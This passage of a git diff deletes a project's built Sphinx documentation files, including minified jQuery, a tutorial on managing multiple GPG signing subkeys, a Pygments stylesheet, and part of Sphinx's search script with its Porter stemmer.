x;f=c.global,c.type=c.type.toUpperCase(),c.hasContent=!vn.test(c.type),f&&v.active++===0&&v.event.trigger("ajaxStart");if(!c.hasContent){c.data&&(c.url+=(gn.test(c.url)?"&":"?")+c.data,delete c.data),r=c.url;if(c.cache===!1){var N=v.now(),C=c.url.replace(bn,"$1_="+N);c.url=C+(C===c.url?(gn.test(c.url)?"&":"?")+"_="+N:"")}}(c.data&&c.hasContent&&c.contentType!==!1||n.contentType)&&x.setRequestHeader("Content-Type",c.contentType),c.ifModified&&(r=r||c.url,v.lastModified[r]&&x.setRequestHeader("If-Modified-Since",v.lastModified[r]),v.etag[r]&&x.setRequestHeader("If-None-Match",v.etag[r])),x.setRequestHeader("Accept",c.dataTypes[0]&&c.accepts[c.dataTypes[0]]?c.accepts[c.dataTypes[0]]+(c.dataTypes[0]!=="*"?", "+Tn+"; q=0.01":""):c.accepts["*"]);for(l in c.headers)x.setRequestHeader(l,c.headers[l]);if(!c.beforeSend||c.beforeSend.call(h,x,c)!==!1&&E!==2){S="abort";for(l in{success:1,error:1,complete:1})x[l](c[l]);o=kn(xn,c,n,x);if(!o)T(-1,"No Transport");else{x.readyState=1,f&&p.trigger("ajaxSend",[x,c]),c.async&&c.timeout>0&&(u=setTimeout(function(){x.abort("timeout")},c.timeout));try{E=1,o.send(b,T)}catch(k){if(!(E<2))throw k;T(-1,k)}}return x}return x.abort()},active:0,lastModified:{},etag:{}});var Mn=[],_n=/\?/,Dn=/(=)\?(?=&|$)|\?\?/,Pn=v.now();v.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Mn.pop()||v.expando+"_"+Pn++;return this[e]=!0,e}}),v.ajaxPrefilter("json jsonp",function(n,r,i){var s,o,u,a=n.data,f=n.url,l=n.jsonp!==!1,c=l&&Dn.test(f),h=l&&!c&&typeof a=="string"&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Dn.test(a);if(n.dataTypes[0]==="jsonp"||c||h)return s=n.jsonpCallback=v.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,o=e[s],c?n.url=f.replace(Dn,"$1"+s):h?n.data=a.replace(Dn,"$1"+s):l&&(n.url+=(_n.test(f)?"&":"?")+n.jsonp+"="+s),n.converters["script json"]=function(){return u||v.error(s+" was not called"),u[0]},n.dataTypes[0]="json",e[s]=function(){u=arguments},i.always(function(){e[s]=o,n[s]&&(n.jsonpCallback=r.jsonpCallback,Mn.push(s)),u&&v.isFunction(o)&&o(u[0]),u=o=t}),"script"}),v.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(e){return v.globalEval(e),e}}}),v.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),v.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=i.head||i.getElementsByTagName("head")[0]||i.documentElement;return{send:function(s,o){n=i.createElement("script"),n.async="async",e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,i){if(i||!n.readyState||/loaded|complete/.test(n.readyState))n.onload=n.onreadystatechange=null,r&&n.parentNode&&r.removeChild(n),n=t,i||o(200,"success")},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(0,1)}}}});var Hn,Bn=e.ActiveXObject?function(){for(var e in Hn)Hn[e](0,1)}:!1,jn=0;v.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&Fn()||In()}:Fn,function(e){v.extend(v.support,{ajax:!!e,cors:!!e&&"withCredentials"in e})}(v.ajaxSettings.xhr()),v.support.ajax&&v.ajaxTransport(function(n){if(!n.crossDomain||v.support.cors){var r;return{send:function(i,s){var o,u,a=n.xhr();n.username?a.open(n.type,n.url,n.async,n.username,n.password):a.open(n.type,n.url,n.async);if(n.xhrFields)for(u in n.xhrFields)a[u]=n.xhrFields[u];n.mimeType&&a.overrideMimeType&&a.overrideMimeType(n.mimeType),!n.crossDomain&&!i["X-Requested-With"]&&(i["X-Requested-With"]="XMLHttpRequest");try{for(u in i)a.setRequestHeader(u,i[u])}catch(f){}a.send(n.hasContent&&n.data||null),r=function(e,i){var u,f,l,c,h;try{if(r&&(i||a.readyState===4)){r=t,o&&(a.onreadystatechange=v.noop,Bn&&delete Hn[o]);if(i)a.readyState!==4&&a.abort();else{u=a.status,l=a.getAllResponseHeaders(),c={},h=a.responseXML,h&&h.documentElement&&(c.xml=h);try{c.text=a.responseText}catch(p){}try{f=a.statusText}catch(p){f=""}!u&&n.isLocal&&!n.crossDomain?u=c.text?200:404:u===1223&&(u=204)}}}catch(d){i||s(-1,d)}c&&s(u,f,c,l)},n.async?a.readyState===4?setTimeout(r,0):(o=++jn,Bn&&(Hn||(Hn={},v(e).unload(Bn)),Hn[o]=r),a.onreadystatechange=r):r()},abort:function(){r&&r(0,1)}}}});var qn,Rn,Un=/^(?:toggle|show|hide)$/,zn=new RegExp("^(?:([-+])=|)("+m+")([a-z%]*)$","i"),Wn=/queueHooks$/,Xn=[Gn],Vn={"*":[function(e,t){var n,r,i=this.createTween(e,t),s=zn.exec(t),o=i.cur(),u=+o||0,a=1,f=20;if(s){n=+s[2],r=s[3]||(v.cssNumber[e]?"":"px");if(r!=="px"&&u){u=v.css(i.elem,e,!0)||n||1;do a=a||".5",u/=a,v.style(i.elem,e,u+r);while(a!==(a=i.cur()/o)&&a!==1&&--f)}i.unit=r,i.start=u,i.end=s[1]?u+(s[1]+1)*n:n}return i}]};v.Animation=v.extend(Kn,{tweener:function(e,t){v.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var n,r=0,i=e.length;for(;r<i;r++)n=e[r],Vn[n]=Vn[n]||[],Vn[n].unshift(t)},prefilter:function(e,t){t?Xn.unshift(e):Xn.push(e)}}),v.Tween=Yn,Yn.prototype={constructor:Yn,init:function(e,t,n,r,i,s){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=s||(v.cssNumber[n]?"":"px")},cur:function(){var e=Yn.propHooks[this.prop];return e&&e.get?e.get(this):Yn.propHooks._default.get(this)},run:function(e){var t,n=Yn.propHooks[this.prop];return this.options.duration?this.pos=t=v.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):Yn.propHooks._default.set(this),this}},Yn.prototype.init.prototype=Yn.prototype,Yn.propHooks={_default:{get:function(e){var t;return e.elem[e.prop]==null||!!e.elem.style&&e.elem.style[e.prop]!=null?(t=v.css(e.elem,e.prop,!1,""),!t||t==="auto"?0:t):e.elem[e.prop]},set:function(e){v.fx.step[e.prop]?v.fx.step[e.prop](e):e.elem.style&&(e.elem.style[v.cssProps[e.prop]]!=null||v.cssHooks[e.prop])?v.style(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},Yn.propHooks.scrollTop=Yn.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},v.each(["toggle","show","hide"],function(e,t){var n=v.fn[t];v.fn[t]=function(r,i,s){return r==null||typeof r=="boolean"||!e&&v.isFunction(r)&&v.isFunction(i)?n.apply(this,arguments):this.animate(Zn(t,!0),r,i,s)}}),v.fn.extend({fadeTo:function(e,t,n,r){return this.filter(Gt).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=v.isEmptyObject(e),s=v.speed(t,n,r),o=function(){var t=Kn(this,v.extend({},e),s);i&&t.stop(!0)};return i||s.queue===!1?this.each(o):this.queue(s.queue,o)},stop:function(e,n,r){var i=function(e){var t=e.stop;delete e.stop,t(r)};return typeof e!="string"&&(r=n,n=e,e=t),n&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,n=e!=null&&e+"queueHooks",s=v.timers,o=v._data(this);if(n)o[n]&&o[n].stop&&i(o[n]);else for(n in o)o[n]&&o[n].stop&&Wn.test(n)&&i(o[n]);for(n=s.length;n--;)s[n].elem===this&&(e==null||s[n].queue===e)&&(s[n].anim.stop(r),t=!1,s.splice(n,1));(t||!r)&&v.dequeue(this,e)})}}),v.each({slideDown:Zn("show"),slideUp:Zn("hide"),slideToggle:Zn("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){v.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),v.speed=function(e,t,n){var r=e&&typeof e=="object"?v.extend({},e):{complete:n||!n&&t||v.isFunction(e)&&e,duration:e,easing:n&&t||t&&!v.isFunction(t)&&t};r.duration=v.fx.off?0:typeof r.duration=="number"?r.duration:r.duration in v.fx.speeds?v.fx.speeds[r.duration]:v.fx.speeds._default;if(r.queue==null||r.queue===!0)r.queue="fx";return r.old=r.complete,r.complete=function(){v.isFunction(r.old)&&r.old.call(this),r.queue&&v.dequeue(this,r.queue)},r},v.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2}},v.timers=[],v.fx=Yn.prototype.init,v.fx.tick=function(){var e,n=v.timers,r=0;qn=v.now();for(;r<n.length;r++)e=n[r],!e()&&n[r]===e&&n.splice(r--,1);n.length||v.fx.stop(),qn=t},v.fx.timer=function(e){e()&&v.timers.push(e)&&!Rn&&(Rn=setInterval(v.fx.tick,v.fx.interval))},v.fx.interval=13,v.fx.stop=function(){clearInterval(Rn),Rn=null},v.fx.speeds={slow:600,fast:200,_default:400},v.fx.step={},v.expr&&v.expr.filters&&(v.expr.filters.animated=function(e){return v.grep(v.timers,function(t){return e===t.elem}).length});var er=/^(?:body|html)$/i;v.fn.offset=function(e){if(arguments.length)return e===t?this:this.each(function(t){v.offset.setOffset(this,e,t)});var n,r,i,s,o,u,a,f={top:0,left:0},l=this[0],c=l&&l.ownerDocument;if(!c)return;return(r=c.body)===l?v.offset.bodyOffset(l):(n=c.documentElement,v.contains(n,l)?(typeof l.getBoundingClientRect!="undefined"&&(f=l.getBoundingClientRect()),i=tr(c),s=n.clientTop||r.clientTop||0,o=n.clientLeft||r.clientLeft||0,u=i.pageYOffset||n.scrollTop,a=i.pageXOffset||n.scrollLeft,{top:f.top+u-s,left:f.left+a-o}):f)},v.offset={bodyOffset:function(e){var t=e.offsetTop,n=e.offsetLeft;return v.support.doesNotIncludeMarginInBodyOffset&&(t+=parseFloat(v.css(e,"marginTop"))||0,n+=parseFloat(v.css(e,"marginLeft"))||0),{top:t,left:n}},setOffset:function(e,t,n){var r=v.css(e,"position");r==="static"&&(e.style.position="relative");var i=v(e),s=i.offset(),o=v.css(e,"top"),u=v.css(e,"left"),a=(r==="absolute"||r==="fixed")&&v.inArray("auto",[o,u])>-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)||0,h=parseFloat(u)||0),v.isFunction(t)&&(t=t.call(e,n,s)),t.top!=null&&(f.top=t.top-s.top+c),t.left!=null&&(f.left=t.left-s.left+h),"using"in t?t.using.call(e,f):i.css(f)}},v.fn.extend({position:function(){if(!this[0])return;var e=this[0],t=this.offsetParent(),n=this.offset(),r=er.test(t[0].nodeName)?{top:0,left:0}:t.offset();return n.top-=parseFloat(v.css(e,"marginTop"))||0,n.left-=parseFloat(v.css(e,"marginLeft"))||0,r.top+=parseFloat(v.css(t[0],"borderTopWidth"))||0,r.left+=parseFloat(v.css(t[0],"borderLeftWidth"))||0,{top:n.top-r.top,left:n.left-r.left}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||i.body;while(e&&!er.test(e.nodeName)&&v.css(e,"position")==="static")e=e.offsetParent;return e||i.body})}}),v.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var r=/Y/.test(n);v.fn[e]=function(i){return v.access(this,function(e,i,s){var o=tr(e);if(s===t)return o?n in o?o[n]:o.document.documentElement[i]:e[i];o?o.scrollTo(r?v(o).scrollLeft():s,r?s:v(o).scrollTop()):e[i]=s},e,i,arguments.length,null)}}),v.each({Height:"height",Width:"width"},function(e,n){v.each({padding:"inner"+e,content:n,"":"outer"+e},function(r,i){v.fn[i]=function(i,s){var o=arguments.length&&(r||typeof i!="boolean"),u=r||(i===!0||s===!0?"margin":"border");return v.access(this,function(n,r,i){var s;return v.isWindow(n)?n.document.documentElement["client"+e]:n.nodeType===9?(s=n.documentElement,Math.max(n.body["scroll"+e],s["scroll"+e],n.body["offset"+e],s["offset"+e],s["client"+e])):i===t?v.css(n,r,i,u):v.style(n,r,i,u)},n,o?i:t,o,null)}})}),e.jQuery=e.$=v,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return v})})(window);
\ No newline at end of file diff --git a/docs/_build/html/_static/minus.png b/docs/_build/html/_static/minus.png Binary files differdeleted file mode 100644 index da1c562..0000000 --- a/docs/_build/html/_static/minus.png +++ /dev/null diff --git a/docs/_build/html/_static/pgp-subkeys.html b/docs/_build/html/_static/pgp-subkeys.html deleted file mode 100644 index 2fc83b4..0000000 --- a/docs/_build/html/_static/pgp-subkeys.html +++ /dev/null @@ -1,236 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html><head><title>Using multiple subkeys in GPG</title></head><body style="background-color: white;"> -<div>[ <a href="http://fortytwo.ch/">main gpg page</a> ] -<hr> -<h1>Using multiple subkeys in GPG</h1> -<hr> -<h2>Motivation</h2> -<p> -For a time, I've had two different gpg keys - one at home on my presumably -secure machine, one at the office, with NFS mounted home directory and -quite a few people having accounts everywhere. This worked, but the problem -is that when exchanging key signatures I always had to beg people to sign -both my keys. -</p> -<p> -With gpg and the possibility of having multiple subkeys, I can now have -only one key, but still retain the security feature that I don't have to -revoke my primary key (and lose all signatures on it) if the key at the -office is compromised. -</p> -<p> -<b>NOTE:</b> Most of the following can apply to both signing and encrypting -subkeys. Encryption subkeys can not be used to solve the multiple accounts -problem, though, please see the <a href="#problems">Problems</a> section -further down. Also, note that I don't use multiple encryption subkeys, so I -don't know if there are additional problems with them. -</p> -<p> -The following is based on <b>gnupg 1.2.1</b>. It should all work with newer -versions, too. Older versions do not support everything and have some -additional problems. As I really do recommend you use a recent gpg version, I -have omitted anything related to older gpg versions. -</p> -<h2>Basics</h2> -<p> -Generate a normal key pair, or use an existing key. Usually this will be a -DSA/ElGamal key (this is what I use), but using RSA or other keys is -equally possible. Be sure to do this on a 'really secure' machine. -</p> -<p> -Then "<tt>gpg __edit <i>keyid</i></tt>" the key and add a further subkey -using "<tt>addkey</tt>". "<tt>save</tt>" will store the new subkey on the -keyring. You'll want to save the whole key (secret and public) with -"<tt>gpg __export <i>keyid</i> > pubkey</tt>" and "<tt>gpg -__export-secret-key <i>keyid</i> > seckey</tt>". Best copy those files -onto an offline storage, too. (A basic working knowledge of how to use a -command line and how to deal with files is assumed. Also, you should know -a bit how key handling in gpg works. If you can't see what the above commands -do, you better do <a href="http://www.gnupg.org/gph/en/manual.html">some -reading</a> before continuing here). -</p> -<p> -Now you should also <b>back up your keyrings</b>, as the following has to -work on a keyring to work around some missing or broken gpg features. -</p> -<p> -As you probably will only take one of the subkeys to your not-so-secure -location, "<tt>gpg __edit <i>keyid</i></tt> and delete the subkeys you -don't want to expose (mark them with "<tt>key <i>n</i></tt>" and then delete -them with "<tt>delkey</tt>"). -</p> -<p> -"<tt>gpg __export-secret-subkeys <i>keyid</i> > crippled.seckey</tt>" -will then export the remaining subkeys, without the keymaterial of the -primary key. -</p> -<p> -Now, you can restore the keyrings (secret <em>and</em> public, since -deleting the subkeys has also deleted the public subkeys!), and your secure -machine is ready to use. Perhaps you don't want to use your 'insecure' -subkey on your secure machine - again, "<tt>gpg __edit <i>keyid</i></tt>", -"<tt>key <i>n</i></tt>" and "<tt>delkey</tt>" takes care of this; again, it -is necessary to re-import the public key. -</p> -<p> -On your 'insecure' machine, you do "<tt>gpg __import pubkey -crippled.seckey</tt>" (the same files you've generated above), now you're ready -to use gpg on the 'insecure' machine. To verify that you really don't have any -secret keys you don't want, have a look at the output of "<tt>gpg -__list-secret-keys</tt>": all primary secret key where the key material is not -present are marked with '#'. -</p> -<pre> -$ gpg __list-secret-key testuser -sec<b>#</b> 1024D/971B7A70 2003-01-03 testuser <testuser@mydomain.foo> -ssb 1024g/ACDF80C4 2003-01-03 -ssb 1024R/BE9CA308 2003-01-07 -</pre> -<p> -Of course, you'll have to publish your new public key, so people can -verify your signatures and send you encrypted mail. Read the <a -href="#problems">Problems</a> section for a few comments about this. -</p> -<h2>Effects</h2> -<p> -Keys are always signed with your primary key, so you (or any attacker) won't be -able to sign other keys with the key on the 'insecure' machine. This is why we -started doing all this acrobatics after all. </p> -<p> -You will always be able to revoke a subkey (just "<tt>gpg __edit -<i>keyid</i></tt>", "<tt>key <i>n</i></tt>" and "<tt>revkey</tt>") when you -have the primary secret key available, even if you lose your secret subkey. -Meaning: you may use a secret subkey at an office location, and it is not -strictly necessary to back it up on a secure location (It's still a good idea, -though). The reason for this is that a revocation is really a signature on the -subkey - and this signature is done with the primary key. Of course, this means -that you can't revoke a subkey when you don't have the primary secret key. -</p> -<p> -If you're signing documents, gpg will always try to use a subkey if one -is available, and announce this with a message like "<tt>1024-bit DSA key, ID -E5A7F7D6, created 2002-08-22 (main key ID 92082481)</tt>" . Verifying such -signatures used to cause a similar message, but at least with gpg 1.2.3 no -indication is given that the signature was made with a subkey. If you want to -use a specific subkey (or the primary key), you have to specify it with the -"<tt><i>keyid</i>!</tt>" syntax. I don't remember what happens if more than one -signing subkey is available; I'm sure you can find details on this somewhere in -the <a href="http://www.gnupg.org/documentation/mailing-lists.html">gnupg -mailing list archives</a>. -</p> -<h2><a name="problems">Problems</a></h2> -<p> -The above approach has several problems that may lead to you not doing -things like this. <b>These are not just possible problems. These are real, -and <em>will</em> affect you! You have been warned.</b> -</p> -<p> -First, distributing secret subkeys this way (one subkey for each -account/machine you use) only makes sense with signing subkeys. You can have -multiple encryption subkeys, but you can't force people sending you encrypted -mail using a specific subkey. Naturally, if you're using encryption for -yourself, you can chose the encryption key to use with the -"<tt><i>keyid</i>!</tt>" syntax. The presence of multiple encryption subkeys -is, however, useful if you revoke an older one to replace it with a new one. -</p> -<p> -Old PGP versions apparently can't cope with such keys. I didn't verify this -myself, but people on the gnupg-users mailing list said that current PGP -versions (up to 7.x) can not verify signatures from a subkey. With PGP 8 the -situation is a bit more complicated: PGP 8 can verify subkey signatures, but -has still problems with multiple subkeys: a key with a signing subkey that is -newer than the encryption subkey cannot be used for encryption in PGP 8. A key -where the encryption subkey is newer than the signing subkey can be used for -encryption. So, when you create your key, generate it as 'signing only' key -first, then generate all the signing subkeys you need, and in the end generate -the encryption subkey. (Thanks to David Shaw for this info). -</p> -<p> -Most keyservers can not handle keys with multiple subkeys. Some of them even -make these keys unusable. This should get better soon, as JHarris has written a -patch for the pks keyserver, and keyservers with other software that handles -this are deployed more widely. The keyservers that can handle multiple subkeys -are summarized as <tt>subkeys.pgp.net</tt>. -GnuPG 1.2 added code to recover somewhat when a broken key is retrieved - one -of the subkeys is useable (the others can't be used, as the signature binding -the subkey to the primary is lost). -</p> -<p> -Besides corrupting keys with multiple subkeys, all of these old keyservers -will also only search keys based on the primary key id - so, automatic key -retrieval on signature verification will not work, too. Yet another -reason to oonly use the subkeys.pgp.net keyservers. -</p> -<p> -Finally, keyhandling is not comfortable with such keys - the user interface of -gpg could be better. The following is valid for gpg 1.2.1, some things may be -fixed in newer versions.: -</p> -<ul> -<li> -"<tt>gpg __import <i>secret key</i></tt>" does not merge the keys properly. -If a secret key is already present, additional secret subkeys are not -imported. Also, a dummy primary key is not replaced by the real subkey on -import. Workaround is to shuffle around the keyrings, or do -"<tt>__export</tt>"s at all stages and use "<tt>__delete-secret-key</tt>" -often. (People with masochistic inclination may probably also use -combinations of <tt>gpgsplit</tt>, <tt>cat</tt> and "<tt>gpg __export</tt>" -and "<tt>__import</tt>. I've not tried this.) -</li> -<li> -"<tt>gpg __export-secret-key <i>keyid</i>!</tt>" and <tt>gpg -__export-secret-subkeys <i>keyid</i>!</tt>" should really only export the -named subkey (or the primary stripped of all subkeys). Much keyring shuffling -could be avoided. (<b>2003-02-12:</b>David Shaw added this to the development -branch of the gpg code. Great!) -</li> -</ul> -<h2>Links</h2> -<p> -Some additional reading that might be interesting: -</p> -<ul> -<li> -The <a href="http://www.ietf.org/rfc/rfc2440.txt">rfc2440</a>, specifying -the OpenPGP key format. -</li> -<li> -The <a href="http://www.gnupg.org/gph/en/manual.html">GNU Privacy Handbook</a> -is a fairly complete manual to gpg. -</li> -<li> -The <a -href="http://lists.gnupg.org/pipermail/gnupg-users/2002-August/014721.html">using -various subkeys</a> thread on the gnupg-users mailing list, where most of these -issues were discussed. -</li> -<li> -The <a -href="http://lists.gnupg.org/pipermail/gnupg-devel/2002-September/007700.html">using -subkey signatures</a> thread on gnupg-devel where I asked about the auto key -retrieval problem. -</li> -<li> -Other <a href="http://atom.smasher.org/gpg/">tutorials</a> on advanced black -magic with keys by Atom Smasher, dealing with what you can do with subkeys. -</li> -</ul> -<h2>Acknowledgments</h2> -<p> -Of course, thanks to the gnupg crew for the cool software, and especially to -Werner Koch and David Shaw for replying to my initial questions about this. And -to Jason Harris for fixing pks to accept keys with multiple subkeys, I hope -this patch spreads really fast as soon as it is officially out. -</p> -<p> -</p> -</div> -<hr> -<div style="font-size: x-small;"> -©2002-2004 <a href="mailto:avbidder+gpg@fortytwo.ch">Adrian von Bidder</a> -- Permission to redistribute and/or modify this document is granted if (i) the -original author (Adrian von Bidder, Switzerland) is acknowledged and (ii) the -document remains freely available for distribution and modification. -</div> - -</body></html> diff --git a/docs/_build/html/_static/plus.png b/docs/_build/html/_static/plus.png Binary files differdeleted file mode 100644 index b3cb374..0000000 --- a/docs/_build/html/_static/plus.png +++ /dev/null diff --git a/docs/_build/html/_static/pygments.css b/docs/_build/html/_static/pygments.css deleted file mode 100644 index 45bae6e..0000000 --- a/docs/_build/html/_static/pygments.css +++ /dev/null @@ -1,69 +0,0 @@ -.hll { background-color: #ffffcc } -.c { color: #8f5902; font-style: italic } /* Comment */ -.err { color: #a40000; border: 1px solid #ef2929 } /* Error */ -.g { color: #000000 } /* Generic */ -.k { color: #204a87; font-weight: bold } /* Keyword */ -.l { color: #000000 } /* Literal */ -.n { color: #000000 } /* Name */ -.o { color: #ce5c00; font-weight: bold } /* Operator */ -.x { color: #000000 } /* Other */ -.p { color: #000000; font-weight: bold } /* Punctuation */ -.cm { color: #8f5902; font-style: italic } /* Comment.Multiline */ -.cp { color: #8f5902; font-style: italic } /* Comment.Preproc */ -.c1 { color: #8f5902; font-style: italic } /* Comment.Single */ -.cs { color: #8f5902; font-style: italic } /* Comment.Special */ -.gd { color: #a40000 } /* Generic.Deleted */ -.ge { color: #000000; font-style: italic } /* Generic.Emph */ -.gr { color: #ef2929 } /* Generic.Error */ -.gh { color: #000080; font-weight: bold } /* Generic.Heading */ -.gi { color: #00A000 } /* Generic.Inserted */ -.go { color: #000000; font-style: italic } /* Generic.Output */ -.gp { color: #8f5902 } /* Generic.Prompt */ -.gs { color: #000000; font-weight: bold } /* Generic.Strong */ -.gu { color: #800080; font-weight: bold } /* Generic.Subheading */ -.gt { color: #a40000; font-weight: bold } /* Generic.Traceback */ -.kc { color: #204a87; font-weight: bold } /* Keyword.Constant */ -.kd { color: #204a87; font-weight: bold } /* Keyword.Declaration */ -.kn { color: #204a87; font-weight: bold } /* Keyword.Namespace */ -.kp { color: #204a87; font-weight: bold } /* Keyword.Pseudo */ -.kr { color: #204a87; font-weight: bold } /* Keyword.Reserved */ -.kt { color: #204a87; font-weight: bold } /* Keyword.Type */ -.ld { color: #000000 } /* Literal.Date */ -.m { color: #0000cf; font-weight: bold } /* Literal.Number */ -.s { color: #4e9a06 } /* Literal.String */ -.na { color: #c4a000 } /* Name.Attribute */ -.nb { color: #204a87 } /* Name.Builtin */ -.nc { color: #000000 } /* Name.Class */ -.no { color: #000000 } /* Name.Constant */ -.nd { color: #5c35cc; font-weight: bold } /* Name.Decorator */ -.ni { color: #ce5c00 } /* Name.Entity */ -.ne { color: #cc0000; font-weight: bold } /* Name.Exception */ -.nf { color: #000000 } /* Name.Function */ -.nl { color: #f57900 } /* Name.Label */ -.nn { color: #000000 } /* Name.Namespace */ -.nx { color: #000000 } /* Name.Other */ -.py { color: #000000 } /* Name.Property */ -.nt { color: #204a87; font-weight: bold } /* Name.Tag */ -.nv { color: #000000 } /* Name.Variable */ -.ow { color: #204a87; font-weight: bold } /* Operator.Word */ -.w { color: #f8f8f8; text-decoration: underline } /* Text.Whitespace */ -.mf { color: #0000cf; font-weight: bold } /* Literal.Number.Float */ -.mh { color: #0000cf; font-weight: bold } /* Literal.Number.Hex */ -.mi { color: #0000cf; font-weight: bold } /* Literal.Number.Integer */ -.mo { color: #0000cf; font-weight: bold } /* Literal.Number.Oct */ -.sb { color: #4e9a06 } /* Literal.String.Backtick */ -.sc { color: #4e9a06 } /* Literal.String.Char */ -.sd { color: #8f5902; font-style: italic } /* Literal.String.Doc */ -.s2 { color: #4e9a06 } /* Literal.String.Double */ -.se { color: #4e9a06 } /* Literal.String.Escape */ -.sh { color: #4e9a06 } /* Literal.String.Heredoc */ -.si { color: #4e9a06 } /* Literal.String.Interpol */ -.sx { color: #4e9a06 } /* Literal.String.Other */ -.sr { color: #4e9a06 } /* Literal.String.Regex */ -.s1 { color: #4e9a06 } /* Literal.String.Single */ -.ss { color: #4e9a06 } /* Literal.String.Symbol */ -.bp { color: #3465a4 } /* Name.Builtin.Pseudo */ -.vc { color: #000000 } /* Name.Variable.Class */ -.vg { color: #000000 } /* Name.Variable.Global */ -.vi { color: #000000 } /* Name.Variable.Instance */ -.il { color: #0000cf; font-weight: bold } /* Literal.Number.Integer.Long */ diff --git a/docs/_build/html/_static/searchtools.js b/docs/_build/html/_static/searchtools.js deleted file mode 100644 index 6e1f06b..0000000 --- a/docs/_build/html/_static/searchtools.js +++ /dev/null @@ -1,622 +0,0 @@ -/* - * searchtools.js_t - * ~~~~~~~~~~~~~~~~ - * - * Sphinx JavaScript utilties for the full-text search. - * - * :copyright: Copyright 2007-2014 by the Sphinx team, see AUTHORS. - * :license: BSD, see LICENSE for details. - * - */ - - -/** - * Porter Stemmer - */ -var Stemmer = function() { - - var step2list = { - ational: 'ate', - tional: 'tion', - enci: 'ence', - anci: 'ance', - izer: 'ize', - bli: 'ble', - alli: 'al', - entli: 'ent', - eli: 'e', - ousli: 'ous', - ization: 'ize', - ation: 'ate', - ator: 'ate', - alism: 'al', - iveness: 'ive', - fulness: 'ful', - ousness: 'ous', - aliti: 'al', - iviti: 'ive', - biliti: 'ble', - logi: 'log' - }; - - var step3list = { - icate: 'ic', - ative: '', - alize: 'al', - iciti: 'ic', - ical: 'ic', - ful: '', - ness: '' - }; - - var c = "[^aeiou]"; // consonant - var v = "[aeiouy]"; // vowel - var C = c + "[^aeiouy]*"; // consonant sequence - var V = v + "[aeiou]*"; // vowel sequence - - var mgr0 = "^(" + C + ")?" + V + C; // [C]VC... is m>0 - var meq1 = "^(" + C + ")?" + V + C + "(" + V + ")?$"; // [C]VC[V] is m=1 - var mgr1 = "^(" + C + ")?" + V + C + V + C; // [C]VCVC... is m>1 - var s_v = "^(" + C + ")?" + v; // vowel in stem - - this.stemWord = function (w) { - var stem; - var suffix; - var firstch; - var origword = w; - - if (w.length < 3) - return w; - - var re; - var re2; - var re3; - var re4; - - firstch = w.substr(0,1); - if (firstch == "y") - w = firstch.toUpperCase() + w.substr(1); - - // Step 1a - re = /^(.+?)(ss|i)es$/; - re2 = /^(.+?)([^s])s$/; - - if (re.test(w)) - w = w.replace(re,"$1$2"); - else if (re2.test(w)) - w = w.replace(re2,"$1$2"); - - // Step 1b - re = /^(.+?)eed$/; - re2 = /^(.+?)(ed|ing)$/; - if (re.test(w)) { - var fp = re.exec(w); - re = new RegExp(mgr0); - if (re.test(fp[1])) { - re = /.$/; - w = w.replace(re,""); - } - } - else if (re2.test(w)) { - var fp = re2.exec(w); - stem = fp[1]; - re2 = new RegExp(s_v); - if (re2.test(stem)) { - w = stem; - re2 = /(at|bl|iz)$/; - re3 = new RegExp("([^aeiouylsz])\\1$"); - re4 = new RegExp("^" + C + v + "[^aeiouwxy]$"); - if (re2.test(w)) - w = w + "e"; - else if (re3.test(w)) { - re = /.$/; - w = w.replace(re,""); - } - else if (re4.test(w)) - w = w + "e"; - } - } - - // Step 1c - re = /^(.+?)y$/; - if (re.test(w)) { - var fp = re.exec(w); - stem = fp[1]; - re = new RegExp(s_v); - if (re.test(stem)) - w = stem + "i"; - } - - // Step 2 - re = /^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/; - if (re.test(w)) { - var fp = re.exec(w); - stem = fp[1]; - suffix = fp[2]; - re = new RegExp(mgr0); - if (re.test(stem)) - w = stem + step2list[suffix]; - } - - // Step 3 - re = /^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/; - if (re.test(w)) { - var fp = re.exec(w); - stem = fp[1]; - suffix = fp[2]; - re = new RegExp(mgr0); - if (re.test(stem)) - w = stem + step3list[suffix]; - } - - // Step 4 - re = /^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/; - re2 = /^(.+?)(s|t)(ion)$/; - if (re.test(w)) { - var fp = re.exec(w); - stem = fp[1]; - re = new RegExp(mgr1); - if (re.test(stem)) 